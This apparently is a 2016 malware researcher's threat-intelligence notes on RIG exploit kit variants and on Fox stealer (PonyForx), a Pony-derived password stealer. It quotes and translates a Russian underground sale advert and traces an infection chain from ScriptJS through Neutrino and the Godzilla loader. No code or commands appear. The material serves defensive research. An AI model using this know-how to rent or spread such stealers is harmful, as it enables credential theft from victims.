The only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern) 2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)
RIG-E Behavioral
2016-12-03 RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.
Small data drop about another Pony fork : Fox stealer. First sample of this malware I saw was at beginning of September 2016 thanks to Malc0de. After figuring out the panel name and to which advert it was tied we were referring to it as PonyForx.
Advert : 2016-08-11 - Sold underground by a user going with nickname "Cronbot"
-------- Стилер паролей и нетолько - Fox v1.0 Мы выпускаем продукт на продажу. Уже проходит финальная стадия тестирования данного продукта. О продукте : 1. Умеет все что умеет пони. + добавлен новый софт. 2. Актуален на 2016 год. 3. Написан на С++ без дополнительных библиотек. 4. Админка от пони. Условия : 1. Только аренда. 2. Распространяется в виде EXE и DLL. 3. Исходники продавать не будем. Аренда 250$ в месяц. Исходники 2000$ разово.
----Translated by Jack Urban : ----
Password stealer and more - Fox v.1.0
We are releasing the product for general sale. Final stage of testing for this product is already underway.
About the product:
1. Is able to do everything that pony does. + new software has been added.
2. Relevant for 2016.
3. Written in C++ without additional libraries.
4. Admin from pony.
Conditions:
1. For rent only.
2. Distributed as an EXE and DLL.
3. We will not be selling the source.
Rent is $250 a month.
Originals are a 2000$ one time fee.
--------
It's being loaded (with Locky Affid 13) by the Godzilla from ScriptJS (aka AfraidGate) group .
MISP taxonomy tags reflecting ScriptJS activity in the last months
(note : it's not the first time this group is pushing a stealer, they were dropping Pony with their Necurs between August and December 2015 [1] )
2016-09-26 - ScriptJS infection chain into Neutrino into Godzilla loader into PonyForx and Locky Affid 13 Here we can see the browsing history of the VM being sent to PonyForx (Fox stealer) C2